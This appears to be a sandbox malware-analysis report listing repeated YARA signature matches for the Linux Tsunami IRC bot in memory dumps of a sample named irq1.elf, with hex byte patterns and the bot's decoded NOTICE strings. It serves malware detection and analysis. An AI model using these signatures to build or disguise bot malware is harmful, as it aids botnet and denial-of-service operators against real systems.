5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x10d2d0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10d2f0:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp	LinuxTsunami	unknown	unknown	0x10b9c4:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5437	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5437	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xc936:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xc955:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5437	LinuxTsunami	unknown	unknown	0xb02f:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5686	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5686	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x8a1c:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x8a3b:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5686	LinuxTsunami	unknown	unknown	0x7115:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5694	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5694	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x106e4:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x10703:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5694	LinuxTsunami	unknown	unknown	0xeddd:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5718	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5718	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xc493:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xc4b2:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5718	LinuxTsunami	unknown	unknown	0xab8c:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5720	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5720	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xdf68:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xdf87:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5720	LinuxTsunami	unknown	unknown	0xc661:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5721	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5721	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xe870:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xe88f:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5721	LinuxTsunami	unknown	unknown	0xcf69:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5723	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5723	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xb9b8:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xb9d7:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5723	LinuxTsunami	unknown	unknown	0xa0b1:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5727	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5727	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xace2:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xad01:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5727	LinuxTsunami	unknown	unknown	0x93db:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5729	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5729	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xebda:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xebf9:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5729	LinuxTsunami	unknown	unknown	0xd2d3:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5731	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5731	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xb6ac:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xb6cb:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5731	LinuxTsunami	unknown	unknown	0x9da5:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5733	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5733	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xffb3:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xffd2:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5733	LinuxTsunami	unknown	unknown	0xe6ac:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5735	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5735	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xfb37:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xfb56:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5735	LinuxTsunami	unknown	unknown	0xe230:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5738	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5738	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xc68e:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xc6ad:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5738	LinuxTsunami	unknown	unknown	0xad87:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5739	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5739	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xca46:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xca65:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5739	LinuxTsunami	unknown	unknown	0xb13f:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5741	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5741	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x118d4:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x118f3:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5741	LinuxTsunami	unknown	unknown	0xffcd:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5744	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5744	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xb900:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xb91f:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5744	LinuxTsunami	unknown	unknown	0x9ff9:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5745	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5745	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x87a5:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x87c4:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5745	LinuxTsunami	unknown	unknown	0x6e9e:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5747	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5747	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xd014:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xd033:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5747	LinuxTsunami	unknown	unknown	0xb70d:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5750	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5750	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0x127ce:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0x127ed:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5750	LinuxTsunami	unknown	unknown	0x10ec7:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
